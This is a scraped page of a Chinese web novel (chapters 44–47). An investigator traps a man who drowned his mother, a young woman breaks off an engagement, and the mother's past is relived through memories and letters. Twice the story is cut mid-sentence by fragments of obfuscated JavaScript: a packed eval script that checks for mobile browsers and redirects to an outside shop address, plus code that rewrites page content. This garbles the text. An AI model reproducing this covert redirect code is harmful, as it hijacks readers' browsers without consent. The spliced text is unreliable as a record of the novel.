l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607966|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男人说:“我不买东西,只是路过。” 李学思心里骂了一句,不买东西喊什么喊,爷爷我的时间不值钱吗,但他面上还是尽量客气说:“哦,没事。” 男人却又说:“我刚路过你们店,在门槛下头捡到个首饰,我看好像挺值钱的,是不是你家女人掉的?” 李学思疑惑,这两天他老婆都在外面玩儿,根本没来过店里,至于女客人,是来过两个,但要是掉了东西,早就回来找了,哪还会等到这时候。 “喏,你看,就这个。” 男人摊开手掌,一枚金镶玉菊花耳坠出现在他白嫩厚实的手掌上。也不知道这人是做什么职业的,这双手居然保养得出奇的好。 眼神落在那枚耳坠上的那一刻,李学思的脑壳嗡的一声,像是被人在耳边极近距离狠狠撞了一下镲。 是老太婆的耳坠,是她最喜欢的那副耳坠! 冷汗不知不觉从李学思的额头渗了出来,他的脑海里再次浮现出那张没有血色的脸孔。老太太的人明明已经不在了,为什么冥冥之中却像是有幽魂缠着他? “为什么就是不肯放过我?!”李学思的心里蹿起一股邪火,产生了一股极强的破坏欲,就像半个月前,他将老太太从她家里带走那时候一样。 明明被饿了那么久,人已经奄奄一息了,他把老太抱走的时候,她也没有什么挣扎,可是眼瞅着走到一楼,即将要走出楼道的时候,骨瘦如柴的老人却不知从哪里又生出一股力气来,死死抓住了楼道里那部新装的爬楼机不肯松手,嘴里不停地念叨:“这是我的家,你不能把我从我的家里赶走!我没有地方去了,你放过我吧!” 一开始他怕引起邻居注意,还收着力气好声好气地劝,直到老太太说出了那句令他目眦欲裂的话,她说:“早知今日,当初就不该生下你!” 那一刻,李学思脑海里最后剩下的那根弦也绷断了! 什么叫当初就不该生下你?!难道是他自己要出生,要选了她屠菊英当娘的吗?从小到大,别人家当娘的都贤良淑德,做小伏低,以老公和儿子为尊,只有他家这个老太太,从年轻到年老,永远不安分,总是在躁动。他爸还活着的时候就常说,他妈会这样都是读书读多了闹的,女人的脑子本来就不适合念书,念多了容易走歪路,所以他当年结婚的时候才特地挑了个年轻貌美,但文化水平不高的…… “老板?老板?” 李学思回过神,看到圆脸男人在自己面前担心地摇晃着手掌:“你怎么了,身体不舒服吗,我看你出了好多汗……” 李学思这才意识到自己的失态,伸手抹了把脸说:“对,是我老婆丢的,你给我就行。” 男人没多嘴问什么有的没的,将那枚耳坠倒到李学思摊开的手掌中,便告辞离开了。 柜台里的钟鸣响,北京时间22点整。 有个年轻人急匆匆跑进来,脸上带着急切的神情:“老板,俺堂姐家里刚走了个老人……” 话还没说完,李学思已经冲对方连连摆手:“家里有事,闭店了,你找别家去!” 那人啧了一声,只得又急匆匆跑去别家店问。 李学思将手心那枚金镶玉菊花耳坠死死攥着,果断关灯拉卷帘门,然后去推自己的电驴。 “秋哥,看来你的判断没错,鱼咬钩了。”不远处的阴影中,秋樰生和那名圆脸男人站在一块儿,注视着李学思的一举一动,后者此时显然已经方寸大乱,在推电驴的过程中甚至失手摔了一下车。 “秋哥、舟哥,我演得好不好?”刚刚那个装成顾客的年轻人神不知鬼不觉地又掉了个头,从后面冒了出来,原来他也是秋樰生一伙的。 秋樰生手里的烟已经抽到了最后,他将烟蒂用脚掌碾熄,俯下身捡起来,丢进了垃圾桶。 “准备收网。”他下了令,几道身影钻进车子,在夜色的掩映下缀着李学思而去。 45.第45章 她们的路 洛水萦回,古今皆同。 当李学思顺着自己留的记号,摸黑找到亲手被他推下水的装着母亲屠菊英的冰柜时,霞鹜村里正在席卷一场风暴。 秦于理抱着奄奄一息的棉花糖站在一边,她面前不远处是满脸无奈、恐慌的林雅菲父母以及一脸坚定的林雅菲。 女孩的脸上还留着五个手指印,那是从小到大从来不会打她的母亲留下的。提亲、成亲、退亲,在农村至今都是十分重大的事件,关乎一家一族的脸面。 越是小的、不发达的地方越是这样,熟人社会的包围下,每个人都沾着亲,带着故,谁也不会轻易撕破脸,因为弄得不好就会招来一家一村一族人的排挤甚至报复。但这次,林雅菲铁了心要退还王广顺家的彩礼,为此,她刚刚已经在家与向来宠爱她的父母大吵了一通。 进村前还犹豫不决的女孩,此时此刻已经完全坚定了信心,不知道是因为反正已经说开了,还是那一巴掌让她滋滋冒火,总之现在女孩子很坚定地站在王广顺家门口,敲门。 “谁啊?”林雅菲坚持不懈地敲了一阵子,终于,屋子里传来了声音,是王广顺的母亲林小妹。 其实王家的灯早就已经点亮了,很难说没有听到一星半点儿从林家传来的争吵声,毕竟安静的夜晚村落中,就连一只狗盆掉在地上的声音也足够吵醒整个村庄。但是王家刚刚一直维持着静悄悄的模样,似乎想唱一出空城计。 “是我,林阿姨,林雅菲,找您家有点儿事。” “今天晚了,有什么事明天再说吧。” 林雅菲的母亲似乎想要上前,却被她的丈夫一把攥住了手腕,她回头,看到老实巴交的丈夫冲她微微摇了摇头,女人脸上顿时一片死灰,最后长长叹了口气,不动了。 “林阿姨,不好意思,我真的很急,您能开下门吗,就耽误你们五分钟。”林雅菲倔强地咬住下唇,继续拍打门板。 “你这人怎么……哎,广顺,广顺你干吗?”屋子里传来女人惊慌的声音,然后是一串脚步声,王家的门“吱呀”一声被打开,站在门口的是穿着白背心灰色长裤的王广顺。 突然看到正主,林雅菲也不由得愣了一下,虽然做过心理准备,此时难免还是有点儿慌乱。 “雅菲,你怎么来了,你的身体没事了吗?”王广顺伸头从门里往外看,他先看到秦于理,微微点了点头算是打招呼,再往旁边去找,显然在寻找秋樰生,但是没找到。他说,“晚上风大,进屋说吧。”说着,让开了身,示意林雅菲进去。 林雅菲的身体动了一下,下意识地想要跟进,就在这个时候,被秦于理抱在怀里的棉花糖微弱地叫了一声。那声叫声很轻微、很虚弱,夜风一吹就散,但林雅菲听到了,于是她本要迈出去的步子收了回来,站在了门外没动。 “就几句话,说完就回家,所以不进去打扰了。”林雅菲说,深吸了口气,“广顺,我知道这样做很对不起你,但是……” “雅菲!”王广顺突然打断她,“你的病还没好,要不这样,我先送你回家,你睡一晚,等明天起来身体好点儿,咱们再慢慢聊。” “不行,我今晚必须得跟你说清楚,我怕时间拖久了,我就没勇气了!”林雅菲说,“王广顺,对不起!我想……” 王广顺忽然伸手,一把用力抓住了林雅菲的肩膀,他低头说:“你听我说,雅菲,你落水以后脑子糊涂了,你不是说你是屠什么吗,你现在的想法、决定都不是你自己的,是邪物夺舍影响了你,你放心吧,雅菲,无论你变成什么样,我保证一生一世都会待你好,我努力打工,赚钱给你看病好不好?我有钱的。你是不是还想继续留在医院工作,这个我们也可以商量,等将来你生了孩子,家里面稳定点……” “我不跟你生孩子,我要退婚!”林雅菲急了,一下子脱口而出。 王广顺像是一下子没反应过来,还在自顾自接着往下说:“好好好,我知道现在网络上流行的那些歪门邪道,讲女人要怎么怎么,但是你看那些女人过得多苦啊,上班受气赚那么点儿辛苦钱,回家也没个人陪,冷锅冷灶的只能点外卖,生了病也没个嘘寒问暖的人,更别说年纪大了以后……” “王广顺!”林雅菲伸手挣脱开王广顺的钳制,往后退了半步,她大声说,“你听清楚,我要退婚,我不嫁给你了,王广顺!” 四周原本窸窸窣窣的声音一下子全没了,整座霞鹜村寂静无声了片刻后,一下子爆炸开来。开门、开窗、走路的声音一浪接一浪,就连村里养的狗都跟着开始吠叫。 王广顺的母亲从屋子里冲出来,跳脚大骂:“你说什么,你这个臭女表子!”她伸手想要来抓林雅菲的脸,被王广顺挡了一下,只扯下了林雅菲几根头发。 林雅菲下意识喊了一声疼,原本被自己丈夫拦住的林母瞬间也炸了,大叫一声就冲了上来,伸手撕扯王母,林雅菲只得赶紧伸手拖住自己的母亲,喊她:“妈、妈,别冲动!是我们的错!” “错个屁!”林雅菲的母亲个头不高,平时看起来也是文文静静的,此时却像一头发怒的母狮,小小的身板里爆发出惊人的力量。她指着王母骂道:“林小妹,你刚刚骂我们家雅菲什么,你再说一遍!” “我骂她女表子怎么了,她就是个女表子!”王母块头更大,扯起嗓门就像一只尖叫鸡,“我早就看你们家女儿不顺眼了,从小到大,她占了我们广顺多少便宜,你当我不知道啊!小时候我们给广顺的零花钱,他都攒起来给你女儿买书买零食,自己吃不饱穿不好,不然他还能高一截,上一米八呢!” “放屁!我女儿贪你儿子那仨瓜俩枣?你脑子进水了吧!从小到大,要不是你家儿子缠着我女儿,她早就去大城市发展了!你自个儿问问你儿子,他买那些便宜零食,哪次我们家雅菲不回礼?他给包鱼皮花生,我们雅菲都得还他一大块巧克力,真要算钱,还不知道是谁占了谁便宜呢!” 两个母亲骂骂咧咧,为了自己的孩子眼看着又要大打出手,王广顺突然插入两人中间,大吼了一声:“够了!” 林小妹说:“儿子,我这是在帮你打抱不平啊,他们林家这么欺负你,我……” “闭嘴!”平时总是一张笑脸,看着憨厚老实的王广顺第一次露出了令人恐惧的气势,不论是王母还是林母都不由得被吓噤了声,林雅菲也是一脸震惊,像是第一次认识自己这位从小一起长大,差一点就要共度一生的青梅竹马。 秦于理不动声色地往前走了几步,在不惊动任何人的情况下靠近了风暴中心。 或许是意识到自己失态,王广顺抹了一把脸孔,勉强扯出个笑,对林雅菲说:“雅菲,退亲不是这么简单的事,今天真的太晚了,要不今晚大家就都先回家休息,有什么事我们明天见了面慢慢聊好不好?” 林雅菲还想说什么,王广顺已经一只手搭在了她的肩膀上,微微用力:“回去,先回去,就当我求你。” 林雅菲“嘶”了一声,脸上露出痛苦神色:“广顺,你抓疼我了,能不能松手?” 王广顺却像是头被激出了凶性一般的猛兽死死地盯着林雅菲,手指如同钢爪:“林雅菲,我再说一遍,你先回去!”他话还没说完,忽然感觉自己手上吃疼,下意识地松手,林雅菲抓到空隙,赶紧往后退开,原来是秦于理单手攥住王广顺的手腕,将他的手从林雅菲肩膀上硬拽了下来。 “有话说话,动什么手。”秦于理说,另一只手里还抱着棉花糖。白猫睁着眼睛,清澈如同湖水的猫瞳里闪烁着微光,是一个有点哀伤的神情。 王广顺说:“秦小姐,你是樰生哥的朋友,也就是我王广顺的朋友,但朋友就应该有朋友的自觉,我的家事,轮不到你来管!” “是吗,可林雅菲并不是你的家人,她姓林,她户口落在她自己家里。哪怕她将来真的嫁了人,那她也还是林雅菲,不是任何男人的附属物!” 王广顺那张向来老实憨厚的脸孔上刹那间露出了一抹阴冷,他捏紧拳头,浑身肌肉绷紧,像是想要对秦于理动手。 “广顺,你想干什么?”林雅菲颤抖着声音问,“你难道想打秦姐?” 王广顺捏紧的拳头微微颤抖,他深吸了几口气,放下拳头,嗓音沙哑地说:“我没有。总之,我知道你的意思了,但今天真的太晚了,不是讨论大事的合适时候,再说,还有那么多双眼睛在看着呢!” 王广顺最后那半句话几乎是咬着牙说的,每一个字蹦出来都仿佛带着滚烫的火星。 “看着就看着,我们俩的事,跟他们有什么关系!”林雅菲说,“王广顺,我今天必须得跟你说清楚了。我们从小一起长大,我知道你的品性,也认为你是个很好的婚配对象……” “那你就嫁给我啊!”王广顺突然失控一般地咆哮,“从小到大,我做什么事情不是让着你,有了什么好东西不是想着你?!你去城里买书,那么厚那么重一摞,我给你一本本搬回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林雅菲被彻底骂懵了,林父的声音这时从旁边传来:“广顺啊,这次是我们家的错。你看这样行不行,你之前送来的彩礼,我们全退,作为道歉,我们家再赔偿你们家一笔钱,我银行里还剩2万,都给你好不好?”王广顺的身形与林父差不太多,但毕竟一个上了年纪,另一个还年轻,两个男人面对面站着,依然是王广顺占了上风。尽管如此,林父还是努力将自己的老婆女儿护在身后,想替他们阻挡来自王广顺最直接的怒意。 “我不要赔偿,我要那几个子儿做什么?!”王广顺说,“林雅菲嫁给我以后,你们家哪一分钱不是我的?!” “你说什么?”林雅菲猛然抬起头,已经哭红的眼睛里渐渐开始喷火。 “我说,你林雅菲嫁给我以后,你们林家的每一分钱,都是我王家的。” “你想得美!” “我凭什么不能这么想?!这是自古以来的礼,你不是总觉得自己聪明,读书多吗,怎么没人教你什么叫出嫁从夫?我告诉你,你嫁进王家,你就是我王家的人,你这个人,还有你所拥有的一切、未来将继承的林家的一切,都是我王家的财产!” 林雅菲气得浑身发抖,“你你你”了几次,就是说不出一句完整的话来。 王广顺说:“你们林家要是还想在这个村子里生活,就给我把刚才的话都收回去!” “我不!王广顺,我今天才算是看清你了,亏我还觉得对不起你!”林雅菲满脸都是怒意,牙齿咬得咯咯响,“我呸,我就算单身一辈子,也不会嫁给你!” “臭女人!”不知是谁突然尖叫了一声,一道身影从黑暗中蹿出,向着林雅菲撞来,月光下,那人手上的长条状东西闪烁出寒光。 林母想要阻挡,林父伸手拉她,王广顺愤怒地一拳挥出,林雅菲吓得往后倒退,电光火石间,白猫棉花糖突然跳出,白色柔韧的身体在空中划出一道弧线,狠狠一口咬在王广顺手上,随着扑哧一声,一柄水果刀刺进了棉花糖小小的身躯。 “屠阿姨!”林雅菲尖叫一声,瞬间,整座霞鹜村仿佛都响起了因果锁链道道伸展的声响。 秦于理抬起头,天空中浓云密布,再低头,她已经站在了死寂般的霞鹜村中。周围的其他人都不见了,只剩下了林雅菲。女孩子独自站在湖边,一动不动,手中牵着一根银白色的线。 秦于理走过去,低头看,却见那湖中也有一个年轻女孩,一动不动,仰面朝天,手指伸出,蜿蜒出另一根黑色的线,隔着湖水,与林雅菲的交织在一起。 “喵~”空间里轻轻传来了一声猫叫,湖水微微扰动,泛起一层浅浅的涟漪。秦于理在那片湖中看到了一对泛着绿光的巨大的猫儿眼。 和以往所见过的所有因果空间都不同,这一次,没有那么多交错复杂缠绕的因果,甚至可以说,如果不是棉花糖恰好掉在湖里死亡,屠菊英和林雅菲的因果线都没有交错缠绕的可能。 但,七十六岁的老太太和二十四岁的小姑娘,跟着五十年的光阴,她们面临的处境,走过的和将要走的路,又何尝不是在冥冥之中,百转千折,难脱干系! 46.第46章 出嫁 秦于理蹲下身,伸出手指,轻轻触碰那一红一黑两根线的交界点,指尖的感觉就像是被毛茸茸的猫尾巴漫不经心地扫了一下。 “咚——啪!”高升炸开的巨大声响传来,然后是况且动切的敲锣打鼓声。 秦于理回过神,发现自己站在一片人潮中,锣鼓点密集地敲,周围的人们随着节奏目不转睛地看着前方。 秦于理的视角很低,只看到一片穿着老旧朴素裤子的腿,直到一双手将她举了起来,擎到高处。 秦于理的视线一下子变得开阔,她看到黑压压的人头,看到晴空下绑着红绸子的舞台,看到那方寸之间正在随着鼓点翻跟斗的表演者。 “好!”不知是谁带头喊了一声,其他人也跟着纷纷叫起来。 这是屠菊英记忆中,坐在“梁上咯咯笑”的看戏场景。秦于理想低头看看那时候屠菊英的父母是什么样子,嘴里却忽然被塞进了一块散发着芝麻味的糖块,咬一口,浓郁的芝麻香气便填满了口腔。 “英子还小,吃糖会弄坏牙齿的!” “不碍事,上了一个月的工,拢共也就得到那么一块,你想吃还没有哩。” “瞧把你给美的,改天我也给咱们英子弄点好吃的来!” 男人和女人交谈的声音里充满着放松和快乐,那应该是屠菊英记忆里非常鲜活、非常快乐的一段时光,以至于时至今日她还能记得那块芝麻糖吃到嘴里的感觉是如此的香甜。 忽然,秦于理感到自己向后摔倒,她下意识地伸手去抓,却发现自己无法动弹。这热闹的看戏场景明明还有实时声音传来,秦于理还能听到戏曲演员在悲切唱“汉苏武在北海身受苦难,忍不住伤心泪痛哭伤怀”,但周围的世界却在一瞬间像是被定形了的照片。 秦于理连同那个扛着她的男人,男人身边的妻子,还有周围的那许多人一起往后轻飘飘地倒下去,眼前一花,又古怪地站了起来。这一回,白昼已经换做了夜晚,秦于理也从室外来到了室内。 就像是立体书被翻过了一页,这一次秦于理来到了一处堆满了各色书籍的阁楼里。狭小的空间中有个老头正戴着老花眼镜在清点整理,似乎感觉到秦于理的存在,他回过头,将煤油灯交到另一只手上,冲着秦于理招招手。 “你是……楼下屠家的闺女吗,怎么跑楼上玩来了?” 秦于理的视线移动,她和老人之间的距离飞快拉近。秦于理看到了许许多多书籍,有一些还十分新,大多数则显得老旧,书脊上都有被抚摸过多,因而褪色的痕迹,显示它们曾经有过时常将它们捧在手里翻看的主人。 秦于理听到一个柔软甜美的小女孩声音响起,她惊叹:“这里好多书啊,这些书都是爷爷你的吗?” 老人笑着摇头:“是啊,这些都是从附近乡绅地主家里找到的老书,暂时借这儿保管一段日子。”老者问,“小姑娘,你念过书吗?” 秦于理说:“我今年刚开始上小学,认识一些些字。” 老者说:“真羡慕你们这些小娃娃,赶上了好时候,我们那个年代想要读书可不是件容易的事。”他走到一旁的书架上,找了找,拿下一本书,递给秦于理。 秦于理用小女孩屠菊英的声音一个字一个字念着封皮上的名字:“唐……三百……” “是唐诗三百首。”老人说,“这里的书品类复杂,也不是每本都适合你这个年纪的小孩儿读,你可以先从读唐诗开始,感受一下中华文字厚重深邃的美。” 秦于理随手一翻,就看到一页上写着《静夜思·李白》,她跟着学校里新学的汉语拼音念:“床前明月光,疑是地上霜。举头望明月,低头思故乡。”再翻一页,写《望庐山瀑布·李白》:“日照香炉生紫烟,遥看瀑布挂前川。飞流直下三千尺,疑是银河落九天。” 再再翻过一页,还是看到那个熟悉的名字——李白,这一次写的诗名是《早发白帝城》:“朝辞白帝彩云间,千里江陵一日还。两岸猿声啼不住,轻舟已过万重山。” 秦于理问:“这个李白是很有名的诗人吗?” 老人感叹:“那可是非常有名的大诗人,他一生留下来的诗作据说有九百多首!” “哇~”秦于理发出感叹,煤油灯骨碌碌翻倒,里头的火焰像红绸彩带一般滚出来,一碰到老者,老者就“啪嗒”倒下变成了一本老旧线装书,红绸一路滚到秦于理脚边,自己变成了一只红色的木头铅笔。 秦于理弯腰捡起笔,直起身来的时候发现自己又换了一个场景,这一次,她坐在一张小小的方凳前,面前摊着一本本子,正在写什么。 秦于理拿起本子,看到上头写着:“李云升小朋友,你好呀,我叫屠菊英,这是我第一次提笔给你写信。虽然我从未见过你,未来或许也无法见到你,但我决定,从这一刻开始,你就是我心底最好的朋友了。告诉你个秘密,你的姓和名都是我取的,李是大诗人李白的李,云升是轻盈自由的雾霭,是我想要变成的样子,我以后就通过这种方式,同你说话交流,希望你会喜欢。” 秦于理翻过一页,后面写着:“屠菊英小朋友,见信问好。我是李云升,我也很高兴同你认识,你说你把我当成心底最好的朋友,那么对我来说,你不仅是最好的,也是唯一的。我很高兴你与我分享你的生活,我的世界一无所有,期待你那里的精彩世界能为我空白一片的世界带来鲜艳的色彩。” “云升,今天上课老师给我们讲了《东郭先生与狼》的故事,老师说这个故事教育我们做人要善良,但也要警惕身边的坏人,不能滥用同情心,可我觉得故事里的中山狼虽然恶,但老牛和杏树说得都没错。老牛为农夫耕作一辈子,到老了没用了,农夫就想把它杀了,杏树产果养活种树人一辈子,到老了不再结果了,那人就想把它砍了卖到木匠铺。它们都被不公平地对待,我觉得它们说人类可恨,赞成狼吃东郭先生也有它们的道理。” “英子,我赞同你的看法。不过,若是无人种树,杏树便不会活,若是农夫不养牛,不喂牛,牛生了病不为它治病,那么牛说不定也早已经死了,人们为它们付出劳动,它们也回报了人类自身的产物,这和东郭先生明明救了中山狼,狼却恩将仇报,想要将他吃了是不同的两件事。” “云升,如果你是东郭先生,你会打死中山狼吗?” “英子,比起会不会打死中山狼,我想我会更多考虑要不要救中山狼。狼会吃人,也许东郭先生原本就不该救它。” “可是如果狼没有吃过人呢?” “可你又怎么知道一头狼是否吃过人呢?” 接着,两人又围绕着动物吃人是否就是敌人,展开了一场讨论。秦于理翻着那本看似薄薄的作业本,却发现这里头的纸张似乎无穷无尽,翻过一页,前一页便消失了,无论怎么翻,依然能看到后页。 “云升,隔壁经常分我头绳的姐姐今天出嫁了,大家都说这是天大的喜事,但我从窗口偷看姐姐,觉得她好似有些闷闷不乐,你是否知道是何缘故?” “英子,婚丧嫁娶自古以来并称红白喜事,老人寿尽而逝,亲人们扶棺痛哭流涕一番,等到围桌吃饭时又都喜笑颜开,道是喜丧,想来,嫁人的时候闷闷不乐或许也算正常?毕竟嫁人以后就要离开家,做别人的妻子,成为别人家的儿媳妇了,心中对父母难免割舍不下。” “云升,你说得我有些害怕。难道嫁了人,我就不是我,屠菊英就不是屠菊英了吗?难道从今往后我就要同自己的父母恩断义绝了吗?” “英子,你同我一样小,我们对这世界还有许多不懂不理解的东西,等我们再长大一些,或许就能明白了。” …… “云升,我好像明白一点了。今天我头一天去初中念书,我们的班主任是个很优雅的女老师,她说现在已经是新中国了,过去的陈规陋习都要一一废除,结婚是要两个人自由恋爱后的结合,我想,如果当年隔壁姐姐是嫁给了她自己看中的人,她应该会更快乐一些吧。” “英子,过去的事情是无法改变的,而且,我看到前些日子琼姐回家探望父母,她刚生了小孩,人变胖了些许,气色很好,想来出嫁以后日子过得不错,不必为她担忧。” “云升,你知道吗,其实琼姐只比我大五岁,看到她我便忍不住想,五年后的我会在那里,会不会也和琼姐一样已经结婚嫁人,甚至生了孩子。” “英子,你不想嫁人吗?” “我不知道,可能我还是太小了,对这世界不够理解吧。云升,这个问题留待我们以后讨论。” …… 秦于理伸手快速翻页,一个个方块字密密麻麻填满空格,字迹从一笔一划的稚嫩青涩,逐渐变得工整漂亮,随后又肆意潇洒起来,像李白的诗。 “赵客缦胡缨,吴钩霜雪明。银鞍照白马,飒沓如流星……云升,不管读多少遍,我都喜欢李白的《侠客行》,真想像那些传奇小说里写的那样,做一个来去自由,快意恩仇的侠客,走很远的路,去看很美的风景!” “英子,我也很期待这个阁楼外的世界,你的眼睛就是我的眼睛,你看到了便是我看到了。期待着能有一天和你一同读万卷书,行万里路,赏江南美景,看大漠孤烟。” …… “云升,我已从中专毕业。我想要继续念书,将来像我的初中班主任一样当一名语文教师,可惜,昨天城里来了通知,我要去插队落户了,我有些忐忑不安,你怎么看?” “英子,知行合一是提高人对世界认识水平的最好办法,去广阔天地里走一遭,建立一番事业未尝不是一件好事。至于读书,只要我们依然热爱,总有机会回到学校。祝你顺利!” 秦于理看到这里,感到一阵野风吹拂她的脸颊,她眼前那本又薄又厚的作业本(书信集)蓦然在她指尖散开,无数纸张像蝴蝶一样在风中飞舞,那些密密麻麻的方块字也像是得到了释放一般,化作一列列的飞虫,绕过她的脸颊,飞到不知何处去了。 秦于理看到了一片金黄色的田野,年轻的男人女人手里拿着镰刀,正在飞快地割稻捆稻。稻谷一捆捆倒下,在田垄上蜿蜒出亮眼的麦浪,像一条胖嘟嘟圆滚滚意欲腾飞的小龙。 “屠菊英同志,李 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“李福全,你回来!”秦于理着急忙慌地喊着想要追上去,可李福全已经找到一辆老旧脚踏车,蹬了几下便跳上车,飞快地逃走了。 秦于理有些发愁地打开那个布包,里头是几张还热烘烘的饼,饼子上那一点金黄色的蛋液和翠绿的菜叶,让人看了忍不住流口水。 今天是野菜鸡蛋饼,昨天是自己蒸的大馒头,前几天还有面条什么的,秦于理下意识地觉得这样不行,可她又实在拗不过李福全的执着。 “云升,你说我该怎么办才好?”秦于理听到自己喃喃的说。 风吹动麦浪,麦穗摩擦发出簌簌的声音,不知道是不是李云升在另一个世界的回答。 …… 眼前一黑,秦于理耳朵里听到了唧唧的虫鸣声,鼻子里闻到夜间野外的青草香气。 她睁开眼睛,看到自己正独自走在一条小路上。 又是一年刚忙活完秋收,晚上村子里请来了放露天电影的电影放映员,秦于理和其他几个生产队的女同志一起去看了电影,此时正在回生产队的路上。 女青年们三三两两走在一起,谈笑风生,却没有人和秦于理一起走。 或许是因为秦于理下了工不喜欢交际,总是捧着书一个人静静地看,也或许是因为大家都觉得在这地头举足轻重的李干部的儿子着了魔般地喜欢她,变着法的给了她谋福利,渐渐的,大家开始疏远她。 前些日子,城里辗转传来了消息,说是她们这些人马上就能回城了,但是名额有限,得努力争取,大家都觉得李福全会为了她动用关系,因此最近对她更为冷落。 秦于理默默地揪着书包带子,走自己回村的路。 和那些冷落她的女青年不同,秦于理的确非常非常想回城,但随着消息越传越广,她反而越来越感到惴惴不安。这些日子里,她已经明着暗着拒绝了李福全很多次了,可对方依然执着地追着她不放。坦白讲,对有些女青年来说,李福全其实是不错的选择。 秦于理偶尔会在晚上起来上茅厕时,听到队里的其他女青年讨论他,说他出身好,家里条件好,要是能嫁给他,就算不回城里也没什么。秦于理也知道,隔壁队里有几个女青年和当地村民喜结连理,从此在这村里安家落户,既锻炼了自己,也解决了婚姻大事,可秦于理不想。她想回去,想回去读书,想走万里路里剩下的九千九百九十九里,而不是只走出一里地,便从此扎根,再也无法离开。 秦于理忽然感到一阵心慌,她抬起头来,发现原本还能看得见的女青年们已经消失了踪影,不知什么时候,小路上只剩下了自己一个人。 周围黑得很,只能勉强看清路面,一种直觉在提醒着秦于理,快回去,赶紧回去!她开始加快步伐,在路过一片玉米地的时候,突然有人从里头伸出手来,将她一把拉了进去! 秦于理下意识地伸手反击,拳头穿过粗粝的植物茎秆,落入了一片虚无。 秦于理喘着粗气,回过神来,发现自己站在屋子里,一个穿着红色喜服,头发上别着一朵大红花的年轻女人静静地坐在床边,一动不动。 这是秦于理第一次看清年轻时候的屠菊英。 她长得不算漂亮,但很耐看,像一卷书。 秦于理看到屠菊英看向自己,这里本来只是屠菊英的因果光影世界,她是不可能看到秦于理的,可她此时就像是看到了一般,面向秦于理。 外面又传来高升炸开的声响,随后是噼里啪啦的鞭炮声,这让秦于理不由得想起第一次进入屠菊英因果空间看到的那一幕,那时候的屠菊英还是个无忧无虑的小女孩,被父母呵护着,不知世间忧愁,但此时此刻,她的眉间已经有了轻愁。她说:“云升,我要出嫁了,嫁给李福全。我承认我有点不知所措,他其实是个好人,那晚是他救了我,如果不是他,我现在……也许,这就是天意吧。我想我不应该感到不满足的,他们都说了,这是很好的一门婚事。你也这么觉得吗?” 过了一会儿,她像是听到了答复一般,点了点头:“果然,你也是这么觉得的。那就好,那就好,那我就安心了。” 47.第47章 怀孕 “你糊涂啊,屠阿姨!” 突然响起的林雅菲的声音让秦于理愣了一下。 因果空间里向来只有重案组的调查员能进入,不知道是否因为这次特殊的“两人一猫”重生,导致如今在这个因果空间里居然还有另一双眼睛,林雅菲的眼睛。 秦于理抬头观望了一下,并没有看到这段记忆光影里有什么不正常的地方,而林雅菲的声音也跟着响了下去。 “感恩不等于感情,怎么能因为对方帮了一把就把自己的一生赔进去呢,再说,谁知道那次袭击是不是……” “是不是李福全安排的。”秦于理在心里默默接上了林雅菲没说完的后半句话。 跟现在见惯了世面,看多了小说电视剧桥段的现代女性不同,那个年代的屠菊英显然是个朴实、简单的女孩,这不是说屠菊英智商低,她很聪明,学习能力也强,但她对于这个世界、对于男人的认识都少得可怜,所以根本没有往那个龌龊的方向想过。 为什么看电影回来的路上,其他女知青会甩掉她;又为什么,走惯了的农村小路上,会突然冒出一个蒙面的男人想要对她动手脚;又为什么那么巧,李福全会刚巧路过,出手打跑了色狼,救下了她。巧合那么多,秦于理相信屠菊英对李福全的人品但凡有一点儿怀疑,她都会察觉其中的蹊跷,偏偏她没有。 虽然李福全每天缠着屠菊英令她很困扰,虽然因为李福全的示好让身边其他的女青年都疏远了她,但屠菊英从没想过李福全会为了得到她使出什么阴损的招数。所以,在那次受惊被救后,她对李福全充满了感激之情,加上李福全又加大了力气讨好她,天天送吃送喝,骑着他的二八大杠车接车送,屠菊英终于在回城的机会砸到自己头上之前,先一步答应了李福全的提亲。 “真好笑,看别人明白,我自己又何尝不是呢?” 林雅菲的声音再次响了起来,她虽然也能看到屠菊英的过往片段,但她似乎看不到秦于理,也不知道秦于理能听到她此时的心声。 “屠阿姨把感恩当感情,嫁给了李福全,我自己不也是把从小一块儿长大的友情当成感情,差一点儿就要嫁给王广顺?”林雅菲自嘲,言语中带着唏嘘,“只差一步。” 是啊,只差一步。如果不是因为屠菊英突然失踪,林雅菲想要找到她,策划了落水事件又真的被人推进水里,现在的林雅菲早就已经成了王广顺的妻子,至于后续她会就这么跟着王广顺过一辈子,还是会越处越难受,终于有一天与王广顺分道扬镳都是个未知数。但到了那个时候再要切割,所要付出的代价和造成的影响无论怎么都不会比现在提出退婚小。 屠菊英的死,在无意中帮了林雅菲一把。 光影再度变幻,棉花糖作为一只猫咪的记忆不仅有限而且很少,所以在这个重生者与重生载体因果线交汇的空间里,秦于理看到的大部分都是屠菊英的过往。 结婚一年后,屠菊英就怀孕了,那一年,她虚岁22,足岁21。 那段时间,知青们陆陆续续轮到名额,开始回城,而屠菊英因为嫁给了庙前村本地的李福全,因此在庙前村生了根。 看着熟悉的面孔一个个兴高采烈地准备离开,屠菊英的心里不是不惆怅的,好在李福全那时候待她还是挺好。 李家原本就是村里的干部,条件对比普通村民要好不少,屠菊英又刚刚怀了孕,一时间李家上下对她都尽量哄着宠着,稍稍消减了屠菊英对于自己无法回城的惆怅。 秦于理看到屠菊英的视角,她坐在窗前,打开窗户,看向外面。 春风吹进窗来,碎花的窗帘布飘拂在风中,窗外是一望无际的青青原野,再往前几十公里,就是洛水,洛水的那头是屠菊英的娘家。 在现在的人看来不过是驱车一个小时就能到达的地方,对于当初的屠菊英来说,却是无法跨越的天堑。 她依然保留着自己给自己写信的习惯,只是红色的木头铅笔换成了英雄牌的钢笔。 “云升,你最近可好,我已有了四个月的身孕,福全对我千依百顺,公公婆婆对我照顾有加,虽然我不能回城,暂时也不能行万里路,但结婚生子本来也是女人一生中不可避免的经历,我能够嫁进李家,其实已经算很幸运了,只是答应你的赏江南美景,看大漠孤烟的日程要再往后推迟,请见谅,但我保证,我会一直记得你我的约定!” 